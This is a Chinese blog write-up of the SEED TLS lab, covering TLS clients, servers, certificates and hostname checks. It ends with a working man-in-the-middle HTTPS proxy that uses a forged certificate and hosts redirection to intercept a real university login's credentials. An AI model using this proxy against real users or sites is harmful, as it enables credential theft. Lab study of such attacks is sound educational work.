TLS实验

实验环境配置

由于本实验默认已完成上一个关于PKI的实验内容,所以实验配置这里不细说,详细内容可以查看这一篇。只需将本实验相关的LabSetup放入虚机中,按照同样的方式执行。

task1 TLS客户端

搭建一个TLS客户端程序

1.a TLS握手

实验为我们提供了一个python的TLS握手程序,本小节只需执行该程序并查看结果:

#!/usr/bin/env python3import socket
import ssl
import sys
import pprinthostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'
#cadir = './client-certs'# Set up the TLS context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)  # For Ubuntu 20.04 VM
# context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)      # For Ubuntu 16.04 VMcontext.load_verify_locations(capath=cadir)
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True# Create TCP connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((hostname, port))
input("After making TCP connection. Press any key to continue ...")# Add the TLS
ssock = context.wrap_socket(sock, server_hostname=hostname,do_handshake_on_connect=False)
ssock.do_handshake()   # Start the handshake
print("=== Cipher used: {}".format(ssock.cipher()))
print("=== Server hostname: {}".format(ssock.server_hostname))
print("=== Server certificate:")
pprint.pprint(ssock.getpeercert())
pprint.pprint(context.get_ca_certs())
input("After TLS handshake. Press any key to continue ...")# Close the TLS Connection
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()

我们进入客户端容器(container:client)的共享文件夹volumes,执行程序并添加一个我们希望进行通信的、支持https的网络服务器作为参数:

handshake.py ehall.seu.edu.cn

可以查看结果是:

回答以下问题:

• What is the cipher used between the client and the server?
• Please print out the server certificate in the program.
• Explain the purpose of /etc/ssl/certs.
• Use Wireshark to capture the network traffics during the execution of the program, and explain your observation. In particular, explain which step triggers the TCP handshake, and which step triggers the TLS handshake. Explain the relationship between the TLS handshake and the TCP handshake.

  1. (‘ECDHE-RSA-AES256-GCM-SHA384’, ‘TLSv1.2’, 256)
{'OCSP': ('http://ocsp.digicert.cn',),'caIssuers': ('http://cacerts.digicert.cn/GeoTrustRSACNCAG2.crt',),'crlDistributionPoints': ('http://crl.digicert.cn/GeoTrustRSACNCAG2.crl',),'issuer': ((('countryName', 'US'),),(('organizationName', 'DigiCert Inc'),),(('commonName', 'GeoTrust RSA CN CA G2'),)),'notAfter': 'Jul 10 23:59:59 2023 GMT','notBefore': 'Jun  9 00:00:00 2022 GMT','serialNumber': '08102829656C723ABA92C1FA58F0E960','subject': ((('countryName', 'CN'),),(('stateOrProvinceName', '江苏省'),),(('localityName', '南京市'),),(('organizationName', '东南大学'),),(('commonName', '*.seu.edu.cn'),)),'subjectAltName': (('DNS', '*.seu.edu.cn'), ('DNS', 'seu.edu.cn')),'version': 3}
  1. /etc/ssl/certs是系统保存的证书文件,我们首先使用PKI实验中我们未经认证的网站看看(可以查看这一篇):

    handshake.py 10.9.0.80
    

    发现报错:

    ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] \
    certificate verify failed: unable to get local issuer certificate (_ssl.c:1123)
    

    可以使用ls等指令查看内部文件,这里不予展示了。

    结论:这个路径下放置的是系统认证信任的CA的证书,没有在该路径下存在的证书均被认为是不可信的

  2. 使用wireshark捕获网络流量包,如何使用这里不作介绍,仅展示结果:

    可以发现,1-2是获取目标DNS,3-5是TCP三步握手,6-15是TLS握手,17-19是结束会话

1.b CA证书

这里是根据上一小节第三问,将Python代码中对/etc/ssl/certs的访问转向我们自定义的路径,即./client-certs。目的是让我们找到访问网站时的CA证书。我们将代码源本复制为handshake_origin.py
额外目标是让我们找到2个以上的网站的CA证书。

  • 我们先找www.bilibili.com的证书。通过origin代码我们可以发现:

    来到/etc/ssl/certs路径下,通过grep找到对应文件并复制到我们之前提到的client的路径下(这里是错误示范,应当复制其hash链接文件062……e6.0):

    复制hash链接文件的原因是因为TLS在使用证书前会通过hash值认证证书防止其被更改。如果我们上一步操作复制的是.pem文件,我们也可以使用以下指令为其直接生成一个8位的hash值并用其生成对应链接:

    $ openssl x509 -in someCA.pem -noout -subject_hash
    # 例如生成:4a6481c9
    $ ln -s someCA.pem 4a6481c9.0
    

    这里文件后缀为.pem,实际上是证书的标准格式,实际上证书的.crt文件也是使用的该格式,两者没有区别。

  • 我们再找一个网站ehall.seu.edu.cn

    找到并复制对应的hash链接:

    可以正常访问了:

值得注意的一点是,这一小节我们不能使用PKI实验中我们生成的CA证书,会提示以下错误信息(但是过了一会再试一次又不提示能正常显示了,无语了……)(这里链接到task2.a)(问题解决了,握手时应该使用其域名访问,而不应该使用IP地址访问。理由是因为证书签名是颁发给该域名的,域名合法不代表某IP地址合法,因此只能使用域名访问):

certificate verify failed: IP address mismatch, \
certificate is not valid for '10.9.0.80'. (_ssl.c:1123)

1.c 主机名检查

本节要求我们输入一个网站A的域名并将其导向网站B的IP地址。我们通过dig命令查询到ehall.seu.edu.cn的IP地址是58.192.118.131,在container中的hosts文件中将www.sun2022.com指向该地址:

我们发现:

将Python文件中的域名检查改为False:

则又能正常通信了,并且被引流向了另一个网址B:

由此可以看出,如果不进行主机名检验,那么攻击者就可以通过盗取使用其他网站的合法证书发送给受害者,并利用盗取的密钥来冒充自己伪造的网站的合法性,发回给用户进行验证;其他网站的证书——根据PKI实验得知——会加密保有其注册的域名,但由于用户忽略了主机名校验,不会察觉,达到网站欺骗用户的目的。

1.d 发送及接收数据

将以下代码添加在原代码建立TLS对话后:

# Send HTTP Request to Server
request = b"GET / HTTP/1.0\r\nHost: " + \
hostname.encode('utf-8') + b"\r\n\r\n"
ssock.sendall(request)
# Read HTTP Response from Server
response = ssock.recv(2048)
while response:
pprint.pprint(response.split(b"\r\n"))
response = ssock.recv(2048)

www.bilibili.com执行后得到:

收到了对方的返回报文,是302。得知B站有分流,在使用dig指令时也可以发现其流量基本都被转向了其CDN,所以直接向B站发送报文会收到302。

task2 TLS服务器

在开始本节实验之前需要创建一个CA,并用此给一个服务器发放证书签名。本过程已经在PKI实验中全都完成了,只需要将其中生成的server.*文件放入共享文件夹的server-certs路径下。

2.a 发起一个简单的TLS服务器

虚机内已经附带一个服务器代码(代码有错):

#!/usr/bin/env python3
import socket
import ssl
html = """
HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n
<!DOCTYPE html><html><body><h1>Hello, world!</h1></body></html>
"""
SERVER_CERT = './server-certs/server.crt'
SERVER_PRIVATE = './server-certs/server.key'
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(SERVER_CERT, SERVER_PRIVATE)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('0.0.0.0', 443))
sock.listen(5)
while True:newsock, fromaddr = sock.accept()ssock = context.wrap_socket(newsock, server_side=True)data = ssock.recv(1024) # Read data over TLSssock.sendall(html.encode('utf-8')) # Send data over TLSssock.shutdown(socket.SHUT_RDWR) # Close the TLS connectionssock.close()

本小节要求我们同时运行服务器端和客户端,并用客户端访问我们的服务器。注意运行服务器端时,要将代码中的证书名称与实际证书名称统一。另外,本次实验提供的代码中服务器代码打开的端口是4433,要将其修改为https使用的443!!

  • 使用客户端的握手源码访问服务器,由于没有证书所以认证失败:

  • 使用新的握手代码,认证证书在自定义路径下,添加我们自行发布的CA证书后访问,可以正常访问:

2.b 使用浏览器测试服务器

在主虚机的hosts中添加ip映射,同时还要为浏览器添加CA认证证书(PKI实验中已添加,这里不再展示):

使用浏览器访问,符合我们设定的html内容:

<!DOCTYPE html><html><body><h1>This is Bank32.com!</h1></body></html>

2.c 拥有重名的证书

许多网站具有多个域名,但都使用的同一份证书。在PKI实验中我们是在生成证书的同时使用参数添加的多个别名域名(SAN)。这里我们使用预先设定的配置文件来新生成一份证书:

# server_openssl.conf
[ req ]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext[ req_distinguished_name ]
C = US
ST = New York
L = Syracuse
O = XYZ LTD.
CN = www.sun2022.com[ req_ext ]
subjectAltName = @alt_names[alt_names]
DNS.1 = www.sun2022.com
DNS.2 = www.example.com
DNS.3 = *.sun2022.com

使用参数将配置文件附加进证书申请中:

openssl req -newkey rsa:2048 -config ../server_openssl.conf \-batch -sha256 -out server.csr -keyout server.key

再使用PKI实验中我们复制好的CA配置文件生成新的证书:
值得注意的一点是:配置文件中对证书所属地的设置必须要与CA的(C、ST、O)这三条相同才能成功生成。
我们可以将新生成的证书放入服务器端,并尝试用客户端链接通信。这次的证书给予了*sun2022.com所以我们可以尝试第三层下任意域名的访问。

可以从别名设置看出,新的证书已经生效

在修改hosts时要注意,hosts并不支持正则匹配,所以要完整写出域名内容

与此同时,这三个网站均能与我们的服务器建立TLS通信,这里展示第三个成功信息:

task3 一个简单的HTTPS代理

跟随实验脚步,我们得知,一个代理就是又当客户端又当服务器端,需要在接收客户端信息时交给服务器端,间接实现两者间通信。实现代码如下(以访问知乎为例,但我们仍是对我们亲爱的(?)ehall下手/呲牙):

#!/usr/bin/env python3
import threading
import ssl
import socket  cadir = "/etc/ssl/certs"  def process_request(ssock_for_browser):  hostname = "www.zhihu.com"  # Make a connection to the real server  sock_for_server = socket.create_connection((hostname, 443))  # Set up the TLS context  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)  context.load_verify_locations(capath=cadir)  context.verify_mode = ssl.CERT_REQUIRED  context.check_hostname = True  print("sock_for_server")  ssock_for_server = context.wrap_socket(sock_for_server, server_hostname=hostname, do_handshake_on_connect=False)  ssock_for_server.do_handshake()  request = ssock_for_browser.recv(2048)  if request:  # Forward request to server  ssock_for_server.sendall(request)  # Get response from server, and forward it to browser  response = ssock_for_server.recv(2048)  while response:  ssock_for_browser.sendall(response) # Forward to browser  response = ssock_for_server.recv(2048)  ssock_for_browser.shutdown(socket.SHUT_RDWR)  ssock_for_browser.close()  SERVER_CERT = "./zhihu.crt"
SERVER_PRIVATE = "./zhihu.key"
context_srv = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context_srv.load_cert_chain(SERVER_CERT, SERVER_PRIVATE)
sock_listen = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock_listen.bind(("0.0.0.0", 443))
sock_listen.listen(5)  while True:  sock_for_browser, fromaddr = sock_listen.accept()  print(fromaddr)  ssock_for_browser = context_srv.wrap_socket(sock_for_browser, server_side=True)  x = threading.Thread(target=process_request, args=(ssock_for_browser,))  x.start()

由于我们需要通过代理登录网站实现登录,而docker容器只能看到终端,不易操作,所以我们只能在主虚机上使用浏览器登录,将主虚机的流量导向代理。在Proxy容器中修改/etc/resolv.cnf,将代理的nameserver修改为8.8.8.8以使其不受主虚机的域名解析影响。(原本默认为127.0.0.11为内网地址,可能会受主虚机影响,但几次ping的实验及wireshark抓包并未发现受到影响,但不改的话确实无法访问,所以建议还是进行修改为好)

注意点

  • 第一点 证书重新生成
    我们这里依然以SEU的综合服务大厅登录界面为例。首先修改上述代码中的目标网址,我们知道ehall的新版登录界面实际上是在https://newids.seu.edu.cn/authserver/login?service=https://newids.seu.edu.cn/authserver/login2.jsp。其次要重新为该网址用我们的CA生成证书,配置文件可以使用task1中的handshake查询,我们生成如下证书:

    这里生成的证书与国家等属性无关,只需要域名正确即可。
  • 第二点 域名映射
    将主虚机的hosts添加newids.seu.edu.cn,但是不要添加ehall.seu.edu.cn,因为我们的代码目前只能访问一个固定网址,如果添加ehall则会造成用户访问失败,造成攻击被察觉。

    我们尝试登录网站,可以发现能够正常登录,并且通过浏览器抓包查看证书发现,使用的证书也正是我们自己颁发的证书:

    尝试登录一下网站,魔改了上面的代码后我们可以查看所有的request,尝试输出到终端,可以看到登录使用的账号及加密后的密码(其他报文还能查看到salt):

    并且由于我们没有将ehall也导向我们的proxy,所以可以正常访问:

总结

本节告诉我们使用代理(魔法)是多么的危险,以后在使用大魔法转移术时一定要小心不要输入任何关键信息,尤其是密码。虽然目前各大网站就如实验手册所言登录系统比较安全,许多魔法卷轴也都比较值得信任,但仍应对其提高警惕,避免让任何人拥有可乘之机。

TLS Lab(Transport Layer Security Lab,SEED实验)基于PKI实验内容进行中间人攻击实验相关推荐

  1. 传输层安全性(Transport Layer Security,TLS)-译

    原文: 高性能网络浏览器-第四章传输层安全性(Transport Layer Security,TLS) 翻译: outshineamaze 介绍: SSL协议在网景公司最初开发支持电子商务网络交易安 ...

  2. HTTPS中间人攻击实验

    HTTPS中间人攻击实验 一.实验基础 1.HTTPS概述 HTTPS (全称: Hyper Text Transfer Protocol over SecureSocketLayer), 是以安全为 ...

  3. 软件安全实验——lab10(二、TCP/IP攻击实验)

    目录标题 1.实验室概况 2.实验室环境 2.1环撞设置 2.2教师须知 3.实验室的任务 3.1 Task (1): ARP缓存中毒 (1)80号工具攻击: (2)33号工具攻击: 3.2任务(2) ...

  4. 让机器学习手把手指导你的下一步实验-基于贝叶斯优化的序贯实验

    在企业的日常研发工作中, 工程师可能会面对众多潜在影响因子及这些因子间的复杂组合而无所适从,不知道如何通过实验构建这些因子与最终响应间的数学模型.类似困扰常出现在锂电池行业对于电解液配方的研究.医药行 ...

  5. 网络协议文档阅读笔记-Introduction to DTLS(Datagram Transport Layer Security)

    在互联网中安全的数据传输是至关重要的.很多敏感数据都通过互联网交互数据如金融交易数据,医药数据,媒体流数据等.SSL/TLS和IPSec就是为了确保互联网中传输数据的安全而创建的.许多网站使用的是SS ...

  6. 实验整理(一)——钓鱼邮件攻击实验

    声明 本文仅限于技术讨论和分享,是之前所做的一个课程设计整理,严禁用于非法途径.如果利用本文所提供的信息造成了不良结果,与本文作者无关. 一.实验介绍简介 本次课程实验中主要是通过发送qq邮件来进行的 ...

  7. 【漏洞修复】TLS protocol中间人攻击漏洞(CVE-2015-4000) 升级ssl

    文章目录 问题描述 Centos7 下 OpenSSL 升级到 OpenSSL 3.0 问题描述 TLS(Transport Layer Security,安全传输层协议)是一套用于在两个通信应用程序 ...

  8. TLS是如何保障数据传输安全(中间人攻击)

    前言 前段时间和同事讨论HTTPS的工作原理,当时对这块知识原理掌握还是靠以前看了一些博客介绍,深度不够,正好我这位同事是密码学专业毕业的,结合他密码学角度对tls加解密(DH这块)的阐述,让我对这块 ...

  9. java实验指导答案华软_Java核心编程技术实验指导教程

    软件工程类 Java核心编程技术实验指导教程 作者:张屹, 蔡木生 所属类别:新世纪应用型高等教育软件专业系列规划教材 出版时间:2010年10月 ISBN:978-7-5611-5839-5前言 本 ...

  10. 计算机实验报告心得体会100字左右,[物理实验心得体会] 物理实验心得100字

    篇一:物理实验心得体会 学习物理实验心得体会 转眼我们已经学了一个多学期的大学物理实验了,大学物理实验是一门十分有趣的课,它把理论和实际结合在一起,它让我们更好的了解了物理所带给我们的力量. 在我看来 ...

最新文章

  1. three.js 弹出二维图片
  2. 不要指望未来科学的发展会改变元素周期表的形式
  3. Jmeter对服务器的压测
  4. Linux命令04:info
  5. Nimbus三Storm源码分析--Nimbus启动过程
  6. Intellij IDEA+Tomcat+JRebel热部署
  7. Linux Device Tree
  8. vue+webpack项目调试
  9. weblogic .NoClassDefFoundError: Could not initialize class sun.awt.X11Graphi
  10. Java web--过滤器
  11. 打印为带边框的表格_会这些Excel打印技巧的人,2秒搞定别人大半天的工作!
  12. RFID EPC Class1 Gen2电子标签笔记
  13. android 优秀项目,11个优秀的Android开发开源项目
  14. m3u8格式转换器android,m3u8转mp4转换器下载_m3u8转mp4转换器官方下载-太平洋下载中心...
  15. STM32单片机USB扫码枪开发笔记
  16. 计算机论文要求多少字,论文需要写多少字
  17. 每单外卖利润不足2毛钱 强行降佣只是饮鸩止渴?
  18. 软件自我成长之路——关于自动更新
  19. 世界杯ing~这不来个实时数据可视化?(结尾附源码)
  20. 哲理故事(51)-一万小时定律(10000小时法则)

热门文章

  1. 2022-2028全球与中国期权及期货交易平台市场现状及未来发展趋势
  2. linux格式化sd卡,并进行挂载
  3. 快播将关闭QVOD服务器 宅男,你心碎了吗?
  4. 量化专业术语——转自BigQuant
  5. Codeforces Gym 100015H Hidden Code 暴力
  6. php企业微信付款到零钱,PHP实现微信商户支付企业付款到零钱功能
  7. Android8.1 framework 微信付款码显示不出来
  8. React+Echarts 实时数据监控刷新
  9. (二)八卦起点作家转会纵横-------- 比较全(包括JJ,起点ceo.邪月MM的发言的发言)...
  10. 陈世涛:鼠标滚轮引起的画面上下跳动问题处理 跳行怎么办?